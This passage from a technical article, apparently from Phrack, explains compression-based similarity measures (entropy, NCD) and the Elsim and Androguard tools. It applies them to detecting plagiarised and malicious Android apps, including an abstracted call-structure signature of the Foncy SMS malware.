{a,aa,aaa,aaab,aaabb,aaabbb,aab,aabb,aabbb,ab,abb,abbb,b,bb,bbb}

and the histogram vector: Hist(S3)={1/7,2/21,1/21,1/7,1/21,1/21,1/21,2/21,1/21,1/21,1/21, 1/21,1/21,1/21,1/21}

If components are sorted we have: {1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,2/21,2/21, 1/7,1/7}

and the descriptional entropy will be:

Hd(S3) = 2 log2(7))/7 + 4 log2(21/2))/ 21 + 11 log2(21)/21

which gives:

Hd(S3) = 3.74899

(4) For S4 = "abbaab": the subsequence set is (in alphabetical order)

{a,aa,aab,ab,abb,abba,abbaa,abbaab,b,ba,baa,baab,bb,bba,bbaa,bbaab}

and the histogram vector:

Hist(S4) = {1/7,1/21,1/21,2/21,1/21,1/21,1/21,1/21,1/7,1/21, 1/21,1/21,1/21,1/21,1/21,1/21}

If components are sorted we have: {1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21,1/21, 2/21,1/7,1/7}

and the descriptional entropy will be:

Hd(S4) = 2 log2(7) / 7 + 2 log2(21/2) / 21 + 13 log(21) / 21

which gives:

Hd(S4) = 3.84423

So, we have:

Hd(S2) = 3.3321 < Hd(S1) = Hd(S3) = 3.74899 < Hd(S4) = 3.84423.

The result Hd(S1) = Hd(S3) = 3.74899 is expected. However, the result Hd(S2) = 3.3321 < Hd(S1) is a little bit surprising, but the whole set of inequalities is correct. S4 is more "complex" than S1, S2 and S3.

Let us give another simple example, if we choose S5 = "bbbbbaaaaa" and S6 = S5S5 = "bbbbbaaaaabbbbbaaaaa". We will have:

Hd(S5) = 4.82265 and Hd(S6) = 6.68825,

and it is not so difficult to prove that:

for any sequence S:

Hd(S) < Hd(SS) < Hd(SSS) < Hd(S......S).

This sounds good :)

However there is a drawback since for a very long sequence S the (practical) computational complexity of the computation of Hd(S) is not cheap. Well, it's true, of course. We could probably find a fast(er) algorithm, based for example on some variation of the Aho‑Corasick, Boyer‑Moore or Knuth‑Morris‑Pratt algorithms. We can also say that we only consider subsequences of length bounded by a suitable integer k.

‑‑‑‑[ 1.4 Normalized Compression Distance (NCD)

The Kolmogorov complexity is a very interesting concept and it has a lot of applications [18,23]. We present here this concept to explain the power of Normalized Compression Distance (NCD).

Let us cite Wikipedia [26]: "In algorithmic information theory (a subfield of computer science), the Kolmogorov complexity of an object, such as a piece of text, is a measure of the computational resources needed to specify the object. It is named after Soviet Russian mathematician Andrey Kolmogorov. Kolmogorov complexity is also known as descriptive complexity, Kolmogorov Chaitin complexity, algorithmic entropy, or program‑size complexity."

Well, it is a very good abstract. Unfortunately, The Kolmogorov complexity K(S) of a sequence S is not computable, so we can just approximate it. The use of any compression algorithm gives a trivial and evident upper bound of K(S). Read the book [22] for a deep and modern presentation and for applications. (Yes there are applications).

We switch now to the NCD, which is always computable.

To be able to use the Kolmogorov complexity we need to extend the informational distance to have a normalized value which indicates the similarities or dissimilarities between two elements/strings. Let us recall what a distance is.

Wikipedia says: "...a distance function on a given set M is a function d: MxM ‑> R, the set of real numbers, that satisfies the following conditions:

a) d(x,y) >= 0, and d(x,y) = 0 if and only if x = y. (Distance is positive between two different points, and is zero precisely from a point to itself.)

b) It is symmetric: d(x,y) = d(y,x). (The distance between x and y is the same in either direction.)

c) It satisfies the triangle inequality: d(x,z) <= d(x,y) + d(y,z). (The distance between two points is the shortest distance along any path).

Such a distance function is known as a metric."

Suppose we have two sequences x and y. We consider the concatenated sequence xy, and a compressor algorithm Comp with L(Comp(S)) the length of the compressed string, i.e. the number of bytes of the compressed string.

The main idea of the NCD [17,33] is that L(Comp(xy)) will be almost equal to L(Comp(x)) if x = y. And L(Comp(xy)) will be close to L(Comp(x)) if x and y are similar without being equal.

Let us give now the definition of dNCD(x,y):

(L(Comp(x|y)) ‑ min{L(Comp(x)), L(Comp(y))})

‑ dNCD(x, y) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

max{L(Comp(x)), L(Comp(y))}

This formula returns a value from 0.0 (maximally similar) to 1.0 (maximally dissimilar). 1.0? Oh yes if the compressor works correctly, but practically we can manage this.

‑‑[ 2 ‑ Similarities

In the next two sections, we will present two algorithms which can be used with any set of elements. Elsim (included in the code archive at the end of this paper) is our implementation of those algorithms. It is open source software (LGPL), and with it you can compute similarities between any "described" elements :)

‑‑‑‑[ 2.1 Between 2 sets of elements

In this part we will describe how we can create a generic algorithm to search the similarities between 2 sets of elements. This algorithm can be used to compare all kind of elements if you are able to find a correct way to represent your data.

For the comparison of our data, we will use the NCD, thus indirectly the Kolmogorov complexity. One of the major drawbacks [16] of the compression is the "time" required :) The tool can be powerful, but if you use a compression algorithm like LZMA, you are limited to "hello world" problems due to the speed of the compression. You need to choose carefully your (lossless) compressor.

A compressor C is "normal" if the following properties (inequalities) are satisfied [17]:

1) Idempotency: C(xx) = C(x), and C(E) = 0,

where E is the empty string.

2) Monotonicity: C(xy) >= C(x).

3) Symmetry: C(xy) = C(yx).

4) Distributivity: C(xy) + C(z) <= C(xz) + C(yz).

The important theorem from [18] reveals the power of the dNCD distance:

"if the compressor C is normal, then the dNCD is a normalized admissible distance satisfying the metric inequalities that is, a similarity metric."

With this theorem, we can use the NCD as a simple tool to measure the similarity between elements.

We have performed tests on different compressors to test them in respect to both the previous properties and their speed. If the algorithm is too slow it will be really useless for practical purposes. We chose to compress random signatures (see 3.1) because it's close to our application domain (see 3).

########################################

Property | Number of success | size of final compression | speed (seconds)

########################################

d@t0t0:~/elsim$ ./tests/test_similarity.py

* LZMA

Idempotency 0/9 1167 1.82118797 Monotonicity 72/72 13258 9.40736294 Symetry 72/72 17380 9.32561111 Distributivity 504/504 214466 133.67427087

* BZ2

Idempotency 0/9 1947 0.00075889 Monotonicity 72/72 18248 0.00626206 Symetry 72/72 221744 0.00735211 Distributivity 504/504 279944 0.09816098

* ZLIB

Idempotency 0/9 1073 0.00033116 Monotonicity 72/72 11850 0.00224590 Symetry 72/72 15348 0.00276113 Distributivity 504/504 190386 0.03468490

* XZ

Idempotency 0/9 1900 0.55278206 Monotonicity 72/72 17544 4.41346812 Symetry 72/72 21008 4.35566306 Distributivity 504/504 269864 61.70975709

* VCBLOCKSORT

Idempotency 0/9 8129 0.00140786 Monotonicity 72/72 86960 0.01695490 Symetry 10/72 115168 0.02190304 Distributivity 504/504 1414896 0.21149492

* SNAPPY

Idempotency 0/9 1153 0.00009203 Monotonicity 72/72 12952 0.00057387 Symetry 72/72 17184 0.00059295 Distributivity 504/504 210952 0.01117182

########################################

Snappy [19] is really fast and respects, as do the others, the four conditions. It is interesting to see that the first property will never be satisfied by the NCD. This happens because in practice it is impossible to obtain those conditions even if we have close results (which is why the algorithm works :).

It is possible to execute the similarity library in Elsim to use independently the Kolmogorov complexity and the NCD:

########################################

In [1]: from elsim.similarity import similarity

In [2]: s = similarity.SIMILARITY("./elsim/similarity/libsimilarity/libsimilarity.so")

// change the type of compressor (bzip2)

In [3]: s.set_compress_type( similarity.BZ2_COMPRESS )

// Get the kolmogorov complexity (by using the compressor, so this function

// returns the length of the compression

In [4]: s.kolmogorov("W00T W00T PHRACK")

Out[4]: (52L, 0)

// Get the similarity distance between two strings

In [5]: s.ncd("W00T W00T PHRACK", "W00T W00T PHRACK")

Out[5]: (0.057692307978868484, 0)

In [6]: s.ncd("W00T W00T PHRACK", "W00T W00T PHRACK STAFF") Out[6]: (0.17543859779834747, 0)

In [7]: s.ncd("W00T W00T PHRACK", "HELLO WORLD")

Out[7]: (0.23076923191547394, 0)

// As you can see :

// ‑ the elements of the first comparison are closer

// than the elements of the second comparison

// ‑ the elements of the second comparison are closer

// than the elements of the third comparison

// ‑ the result of the first comparison is not 0, that is why

// we don't respect the first property but practically it works

// because we are not far from 0

// change the type of compressor (Snappy)

In [8]: s.set_compress_type( similarity.SNAPPY_COMPRESS )

In [9]: s.ncd("W00T W00T PHRACK", "W00T W00T PHRACK")

Out[9]: (0.6666666865348816, 0)

In [10]: s.ncd("W00T W00T PHRACK", "W00T W00T PHRACK STAFF") Out[10]: (0.6818181872367859, 0)

In [11]: s.ncd("W00T W00T PHRACK", "HELLO WORLD")

Out[11]: (0.7777777910232544, 0)

// As you can see, Snappy is very bad with such kind of strings, even if

// the algorithm respects the dissimilarities between the comparison.

// If we test this compressor with longer strings, and strings of

// signatures (3.1), we have better results:

In [12]: s.ncd("B[I]B[RF1]B[F0S]B[IF1]B[]B[]B[S]B[SS]B[RF0]B[]B[SP0I]"\ "B[GP1]", "B[I]B[RF1]B[F0S]B[IF1]B[]B[]B[S]B[SS]B[RF0]B[]B[SP0I]B[GP1]") Out[12]: (0.0784313753247261, 0)

In [13]: s.ncd("B[I]B[RF1]B[F0S]B[IF1]B[]B[]B[S]B[SS]B[RF0]B[]B[SP0I]"\ "B[GP1]", "B[I]B[RF1]B[F0S]B[IF1]B[]B[]B[S]B[SS]B[RF0]B[]B[SP0I]") Out[13]: (0.11764705926179886, 0)

In [14]: s.ncd("B[I]B[RF1]B[F0S]B[IF1]B[]B[]B[S]B[SS]B[RF0]B[]B[SP0I]"\ "B[GP1]", "B[G]B[SGIGF0]B[RP1G]B[SP1I]B[SG]B[SSGP0]B[F1]B[P0SSGR]B[F1]"\ "B[SSSI]B[RF1P0R]B[GSP0RP0P0]B[GI]B[P1]B[I]B[GP1S]") Out[14]: (0.9270833134651184, 0)

########################################

Snappy maybe the fastest algorithm but its rate compression is the worst. However, it is not of particular importance. Why? Because it is not a problem if the properties are respected. Moreover if you want an end value which respects more the idea of similarities, you can still switch to some other compressor, such as ZLIB, LZMA or BZ2.

The first thing to do is to describe our "basic" element which will be used for a comparison. An element is composed of:

‑ a string

‑ a hash

Oh wait, that's all? Yes, we need to compare strings and not other things. But the strings themselves will highly depend of your similarity problem. For example, if your problem is to compare two binaries, it's a bad idea to compare the listings corresponding to a specific function. You need to find the best way to transform your data into suitable strings, and it's probably the most difficult part. Of course it is not our job in this article:) It is not easy to transform your data to a string and it will be specific to each problem. For example, if your data is a chemical molecule you need probably to use SMILES to convert the structure to an ASCII string [34].

Remember that you can't compare elements that easily, you really need a transformation because the Kolmogorov complexity is not magical. Using it requires the normalization of your data. Finally, the hash is only used to quickly remove the identical elements.

The algorithm is the following one:

‑ input: A:set(), B:set()

where A and B are sets of elements

‑ output: I:set(), S:set(), N:set(), D:set(), Sk:set() where I: identical elements, S: similar elements, N: new elements, D: deleted elements, Sk: skipped elements

‑ Sk: Skipped elements by using a "filtering" function (helpful if we wish to skip some elements from a set (small size, known element from a library, etc.)

‑ Identify internal identical elements in each set

‑ I: Identify "identical" elements by the intersection of A and B

‑ Get all others elements by removing identical elements

‑ Perform the "NCD" between each element of A and B

‑ S: "Sort" all similarities elements by using a threshold

‑ N,D: Get all new/deleted elements if they are not present in one of the previous sets

The following diagram describes this algorithm:

|‑‑A‑‑| |‑‑B‑‑|

| A1 | | B1 |

| A2 | | B2 |

| A3 | | B3 |

|‑‑An‑| |‑‑Bn‑|

| |‑‑‑‑‑‑‑‑‑| |

|‑ ‑‑‑>|FILTERING|<‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑|

| |

| |‑‑‑‑‑‑‑‑‑>|Sk|

|

| |‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑>|IDENTICAL|‑‑‑‑‑‑>|I|

|‑‑‑‑‑‑‑‑‑|

|

|

| |‑‑‑|‑‑‑use‑‑>|Kolmogorov|

|‑‑‑‑>|NCD|

|‑‑‑|

|

|

|

| Threshold|

|‑‑‑‑‑‑SORTING |

|N|<‑‑‑‑‑‑‑‑‑‑‑‑/ | \‑‑‑‑‑‑‑‑>|D|

S|

Moreover we can calculate a similarity "score" using the number of identical elements and the value of the similar elements.

Here is a simple example showing you how it is possible to use the algorithm (elsim_text.py). In this case, it's used to compare two plain text files. We modified the COPYING.LESSER text by changing the order of few paragraphs and removing (or adding) words:

########################################

ds@t0t0:~/elsim$ ./tests/example_text_sim.py ‑i examples/text/COPYING.LESSER examples/text/COPYING.LESSER.MODIF_REORDER Elements:

IDENTICAL: 106

SIMILAR: 2

NEW: 0

DELETED: 0

SKIPPED: 2

‑‑> sentences: 99.783060% of similarities

########################################

As you can see, with a few modifications the two files are maximally similar even if the elements are not at the same place. And if you add some debugging information, you can see the two modified sentences:

########################################

[...]

SIMILAR sentences:

138 'This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License' ‑‑> 131 'This version of the GNU General Public License incorporates the terms and conditions of version 3 of the GNU General Public License' 0.105263158679 71 'and the "GNU GPL" refers to version 3 of the GNU General Public License' ‑‑> 76 'and the "GNU GPL HOOK" refers to version 3 of the GNU General Public License' 0.129032254219

[...]

########################################

‑‑‑‑[ 2.2 In a set of elements

The previous algorithm is interesting in order to compare two elements, but if you have more or if you wish to search for a specific signature in a set of elements, it can be very long. That's why we need to use a clustering algorithm [28] to accelerate it.

So, an element will be defined by:

‑ a string (a signature),

‑ a set of float values.

The float values are classically features vectors that we will use the set of floats to perform the clustering (and you can use specific weights if you think that some elements of the set are more important than others). For example if you consider that the first float value if more important than the second one for clustering you can add a higher weight.

In order to have more complex searches (i.e. if you wish to match multiple elements at the same time or only a specific element and not another, etc.) we will use a signature which will be composed of several elements and a Boolean formula whose purpose is to check if a signature matches.

The algorithm is:

‑ Load signatures from the database and elements

‑ Execute a classical clustering [28] algorithm (kmeans [3] for example) to reduce the number of comparisons by using the set of float values

‑ For each cluster, compare the loaded from the database signatures with the elements

‑ If the NCD value is below the threshold and if the Boolean formula is true then we have found a valid signature (so we have a valid match!)

|‑‑‑SIGN‑‑‑| |‑‑‑ELEM‑‑‑|

| X1 | | E1 |

| X2 | | E2 |

| X3 | | E3 |

|‑‑‑‑Xn‑‑‑‑| |‑‑‑‑En‑‑‑‑|

| |‑‑‑‑‑‑‑‑‑‑| |

|‑‑‑‑‑‑‑>|CLUSTERING|<‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑|

| | |

| | |‑>Cn

| |

| |‑>Cn‑1

|

|

|

| __C1__

|‑>| X1 | |‑‑‑|‑‑‑‑‑‑‑‑‑‑>|Kolmogorov| | E1 |‑‑‑‑‑‑>|NCD|

| .. | ^ |‑‑‑|

| |

| |

| |

| |‑‑‑Threshold|

|

|

|

|

|

|

|

| F T

|

|‑‑‑‑‑‑‑‑‑

|

|

| BF |

|

|

|

|

|

| F T

|‑‑‑‑‑‑‑‑‑

OK |

Simple, no ? :)

Here is an example (example_sign.py) which shows you how to load signatures and elements, and check if a signature is present.

In the following example, we have two signatures composed of elements and a set of "external" data to test. In the dataset, we have a corresponding signature and a false positive:

########################################

SIGNS = [

[ "Sign1", "a",

[ [ 4.4915299415588379, 4.9674844741821289, 4.9468302726745605, 0.0 ], "HELLO WORLDDDDDDDDDDDDDDDDDDDDDDD" ] ], [ "Sign2", "a && b",

[ [ 2.0, 3.0, 4.0, 5.0 ], "OOOPS !!!!!!!!" ], [ [ 2.0, 3.0, 4.0, 8.0], "OOOOOOOOPPPPPS !!!" ] ], ]

ELEMS = [

[ [ 4.4915299415588379, 4.9674844741821289, 4.9468302726745605, 0.0 ], "HELLO WORLDDDDDDDDDDDDDDDDDDDDDDD" ],

[ [ 4.4915299415588379, 4.9674844741821289, 4.9468302726745605, 1.0 ], "FALSE POSITIVE" ], [ [ 2.0, 3.0, 4.0, 5.0 ],

"HELLO WORLDDDDDDDDDDDDDDDDDDDDDDD" ], [ [ 2.0, 3.0, 4.0, 5.0 ],

"HELLO WORLDDDDDDDDDDDDDDDDDDDDDDD" ], [ [ 2.0, 3.0, 4.0, 5.0 ],

"HELLO WORLDDDDDDDDDDDDDDDDDDDDDDD" ], [ [ 2.0, 3.0, 4.0, 5.0 ],

"HELLO WORLDDDDDDDDDDDDDDDDDDDDDDD" ],

]

########################################

Each signature is composed of either one or several elements and a Boolean formula ("a" is the first element, "b" is the second element, etc.).

By running the example, we can see that one signature is detected. It is displayed along with several statistics (such as the number of clusters, the number of comparisons (1) and the number of comparisons without (18) this algorithm).

########################################

d@t0t0:~/elsim/elsim/elsign$ ./example_sign.py

['Sign1', [0, 1, 0.1875]]

[SIGN:3 CLUSTERS:3 CMP_CLUSTERS:2 ELEMENTS:6 CMP_ELEMENTS:1

‑> 18 5.555556%]

########################################

If we remove the matching element, we can see that we can't detect a match of the signature anymore, even if we have close entropies (fake values in this case) with a signature (but the string is not the same):

########################################

d@t0t0:~/elsim/elsim/elsign$ ./example_sign.py

[None]

[SIGN:3 CLUSTERS:2 CMP_CLUSTERS:2 ELEMENTS:5 CMP_ELEMENTS:3

‑> 15 20.000000%]

########################################

‑‑[ 3 ‑ Real World: Android

Now we can apply our algorithms to a real world problem domain. We have chosen that of Android applications and malware identification. One of the main problems with Android Apps is the plagiarism due to the facilities to modify and spread an application.

‑‑‑‑[ 3.1 Similarities between two applications

To use our generic algorithm, we must first define what are the "string" and the "hash" properties of an element. So, what is an element in the case of an Android application? We define it as a method or a class. The "string" is the signature of a method and the "hash" is the sequence of instructions.

Our signature is based on the grammar described by Silvio Cesare [2]. This grammar is very simple:

########################################

Procedure ::= StatementList

StatementList ::= Statement | Statement StatementList Statement ::= BasicBlock | Return | Goto | If | Field | Package | String Return ::= 'R'

Goto ::= 'G'

If ::= 'I'

BasicBlock ::= 'B'

Field ::= 'F'0 | 'F'1

Package ::= 'P' PackageNew | 'P' PackageCall

PackageNew ::= '0'

PackageCall ::= '1'

PackageName ::= Epsilon | Id

String ::= 'S' Number | 'S' Id

Number ::= \d+

Id ::= [a‑zA‑Z]\w+

########################################

For example if we have the following code:

mov X, 4

mov Z, 5

add X, Z

goto +50

add X, Z

goto ‑100

Then the signature is:

B[G]B[G]

We do not take into account the different instructions but rather the information about the structure of the method.

With an Android method, this gives a more complex signature:

Code:

[...]

call [ meth@ 22 Ljava/lang/String; valueOf ['(I)', 'Ljava/lang/String;'] ]

goto 50

Signature:

B[P1{Ljava/lang/String; valueOf (I)Ljava/lang/String;}G]

We only use the control flow graph (CFG) of the methods along with specific instructions of the CFG such as "if*" or "goto". All the instructions like sparse/packed switch [4] are translated to "goto" instructions without details. We can add information about the packages, and especially about the Android/Java packages. Indeed, it's an important information to include in the signature (e.g.: you must use the sendTextMessage API to send an SMS).

In the signature we can also add if a method of a package is called, or if there is the creation of an object, or even if a field is read or written. Of course, it's possible to modify this kind of signature if you want to take into account each instruction of the method. However in our case (and after experimental results) it seems useless since we don't depend on the "nature" of each instruction, but only on higher level information.

We can extend this concept by using "predefined" signatures to help us:

‑ 0: information about packages (called/created) and fields, no specific information about string

‑ 1: 0 + but with the size of strings,

‑ 2: 0 + filtering android packages names,

‑ 3: 0 + filtering Java packages names,

‑ 4: 0 + filtering Android/Java packages.

If we have different types of signatures, we are then able to change dynamically the signature in case the global structure of a function or the Android packages in the structure are more interesting to us.

For example, if we disassemble a particular method using Androguard [1] or smali/baksmali [27], we obtain different signatures:

########################################

d@t0t0:~/androguard$ ./androlyze.py ‑s

Androlyze version 1.0

In [1]: a, d, dx = AnalyzeAPK("./examples/android/TestsAndroguard/bin/TestsAndroguard.apk") In [5]: d.CLASS_Ltests_androguard_TestIfs.METHOD_testCFG.pretty_show() METHOD access_flags=public (Ltests/androguard/TestIfs; testCFG,()V) local registers: v0...v7

return:void

testCFG‑BB@0x0 :

0(0) const/4 v0 , [ #+ 1 ] // {1}

1(2) const/4 v1 , [ #+ 1 ] // {1}

2(4) const/4 v2 , [ #+ 1 ] // {1}

3(6) const/4 v3 , [ #+ 1 ] // {1} [ testCFG‑BB@0x8 ]

testCFG‑BB@0x8 :

4(8) iget‑boolean v4 , v7 , [ field@ 14 Ltests/androguard/TestIfs; Z P ]

5(c) if‑eqz v4 , [ + 77 ] [ testCFG‑BB@0x10 testCFG‑BB@0xa6 ]

testCFG‑BB@0x10 :

6(10) move v1 , v0

7(12) iget‑boolean v4 , v7 , [ field@ 15 Ltests/androguard/TestIfs; Z Q ]

8(16) if‑eqz v4 , [ + 70 ] [ testCFG‑BB@0x1a testCFG‑BB@0xa2 ]

testCFG‑BB@0x1a :

9(1a) const/4 v3 , [ #+ 2 ] // {2} [ testCFG‑BB@0x1c ]

testCFG‑BB@0x1c :

10(1c) add‑int/lit8 v2 , v2 , [ #+ 1 ] [ testCFG‑BB@0x20 ]

testCFG‑BB@0x20 :

11(20) sget‑object v4 , [ field@ 0 Ljava/lang/System; Ljava/io/PrintStream; out ]

12(24) new‑instance v5 , [ type@ 25 Ljava/lang/StringBuilder; ] 13(28) invoke‑static v0 , [ meth@ 22 Ljava/lang/String; valueOf ['(I)', 'Ljava/lang/String;'] ]

14(2e) move‑result‑object v6

15(30) invoke‑direct v5 , v6 , [ meth@ 25 Ljava/lang/StringBuilder; ['(Ljava/lang/String;)', 'V'] ]

16(36) const‑string v6 , [ string@ 5 ',' ] 17(3a) invoke‑virtual v5 , v6 , [ meth@ 31 Ljava/lang/StringBuilder; append ['(Ljava/lang/String;)', 'Ljava/lang/StringBuilder;'] ]

18(40) move‑result‑object v5

19(42) invoke‑virtual v5 , v1 , [ meth@ 28 Ljava/lang/StringBuilder; append ['(I)', 'Ljava/lang/StringBuilder;'] ]

20(48) move‑result‑object v5

21(4a) const‑string v6 , [ string@ 5 ',' ] 22(4e) invoke‑virtual v5 , v6 , [ meth@ 31 Ljava/lang/StringBuilder; append ['(Ljava/lang/String;)', 'Ljava/lang/StringBuilder;'] ]

23(54) move‑result‑object v5

24(56) invoke‑virtual v5 , v2 , [ meth@ 28 Ljava/lang/StringBuilder; append ['(I)', 'Ljava/lang/StringBuilder;'] ]

25(5c) move‑result‑object v5

26(5e) const‑string v6 , [ string@ 5 ',' ] 27(62) invoke‑virtual v5 , v6 , [ meth@ 31 Ljava/lang/StringBuilder; append ['(Ljava/lang/String;)', 'Ljava/lang/StringBuilder;'] ]

28(68) move‑result‑object v5

29(6a) invoke‑virtual v5 , v3 , [ meth@ 28 Ljava/lang/StringBuilder; append ['(I)', 'Ljava/lang/StringBuilder;'] ]

30(70) move‑result‑object v5

31(72) invoke‑virtual v5 , [ meth@ 32 Ljava/lang/StringBuilder; toString ['()', 'Ljava/lang/String;'] ] 32(78) move‑result‑object v5

33(7a) invoke‑virtual v4 , v5 , [ meth@ 8 Ljava/io/PrintStream; println ['(Ljava/lang/String;)', 'V'] ] [ testCFG‑BB@0x80 ]

testCFG‑BB@0x80 :

34(80) iget‑boolean v4 , v7 , [ field@ 16 Ltests/androguard/TestIfs; Z R ]

35(84) if‑eqz v4 , [ + 4 ] [ testCFG‑BB@0x88 testCFG‑BB@0x8c ]

testCFG‑BB@0x88 :

36(88) add‑int/lit8 v3 , v3 , [ #+ 4 ] [ testCFG‑BB@0x8c ]

testCFG‑BB@0x8c :

37(8c) iget‑boolean v4 , v7 , [ field@ 17 Ltests/androguard/TestIfs; Z S ]

38(90) if‑eqz v4 , [ + ‑8 ] [ testCFG‑BB@0x94 testCFG‑BB@0x80 ]

testCFG‑BB@0x94 :

39(94) add‑int/lit8 v0 , v0 , [ #+ 6 ]

40(98) iget‑boolean v4 , v7 , [ field@ 18 Ltests/androguard/TestIfs; Z T ]

41(9c) if‑eqz v4 , [ + ‑74 ] [ testCFG‑BB@0xa0 testCFG‑BB@0x8 ]

testCFG‑BB@0xa0 :

42(a0) return‑void

testCFG‑BB@0xa2 :

43(a2) const/4 v3 , [ #+ 3 ] // {3}

44(a4) goto [ + ‑68 ] [ testCFG‑BB@0x1c ]

testCFG‑BB@0xa6 :

45(a6) add‑int/lit8 v2 , v2 , [ #+ 2 ]

46(aa) goto [ + ‑69 ] [ testCFG‑BB@0x20 ]

########################################

By using the first kind of predefined signature, we can see each basic block with some information. By filtering Java packages we have more information about the behavior of the method:

########################################

In [6]: dx.get_method_signature(d.CLASS_Ltests_androguard_TestIfs. METHOD_testCFG, predef_sign = analysis.SIGNATURE_L0_0).get_string() Out[6]: 'B[]B[I]B[I]B[]B[]B[P0P1P1P1P1P1P1P1P1P1P1]B[I]B[]B[I]B[I]B[R] B[G]B[G]'

In [9]: dx.get_method_signature(d.CLASS_Ltests_androguard_TestIfs. METHOD_testCFG, predef_sign = analysis.SIGNATURE_L0_3).get_string() Out[9]: 'B[]B[I]B[I]B[]B[]B[P0{Ljava/lang/StringBuilder;}P1 {Ljava/lang/String;valueOf(I)Ljava/lang/String;} P1{Ljava/lang/StringBuilder;(Ljava/lang/String;)V} P1{Ljava/lang/StringBuilder;append(Ljava/lang/String;) Ljava/lang/StringBuilder;} P1{Ljava/lang/StringBuilder;append(I)Ljava/lang/StringBuilder;} P1{Ljava/lang/StringBuilder;append(Ljava/lang/String;) Ljava/lang/StringBuilder;} P1{Ljava/lang/StringBuilder;append(I)Ljava/lang/StringBuilder;} P1{Ljava/lang/StringBuilder;append(Ljava/lang/String;) Ljava/lang/StringBuilder;} P1{Ljava/lang/StringBuilder;append(I)Ljava/lang/StringBuilder;} P1{Ljava/lang/StringBuilder;toString()Ljava/lang/String;} P1{Ljava/io/PrintStream;println(Ljava/lang/String;)V}] B[I]B[]B[I]B[I]B[R]B[G]B[G]'

########################################

With SIGNATURE_L0_0 being 0 and SIGNATURE_L0_3 being 3.

We can test our signature with a real malware like Foncy [5]:

########################################

In [15]: a, d, dx = AnalyzeAPK("./apks/malwares/foncy/6be2988a916cb620c71ff3d8d4dac5db2881c6\ 75dd34a4bb7b238b5899b48600")

########################################

In this case, we are more interested in signatures embedding Android packages, Java packages or both:

########################################

In [16]: dx.get_method_signature(d.CLASS_Lorg_eapp_MagicSMSActivity. METHOD_onCreate, predef_sign = analysis.SIGNATURE_L0_2).get_string() Out[16]: 'B[P1{Landroid/app/Activity;onCreate(Landroid/os/Bundle;)V}P0 P1{Landroid/os/Environment;getExternalStorageDirectory()Ljava/io/File;}P1 P1P1P1P1P0P0P1P1P1P1P1P1I]B[R]B[P1] B[P1{Landroid/telephony/SmsManager;getDefault() Landroid/telephony/SmsManager;} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V} P1{Landroid/telephony/SmsManager;sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V}P2 P1{Landroid/widget/Toast;makeText(Landroid/content/Context; Ljava/lang/CharSequence; I)Landroid/widget/Toast;} P1{Landroid/widget/Toast;show()V}G]B[G]'

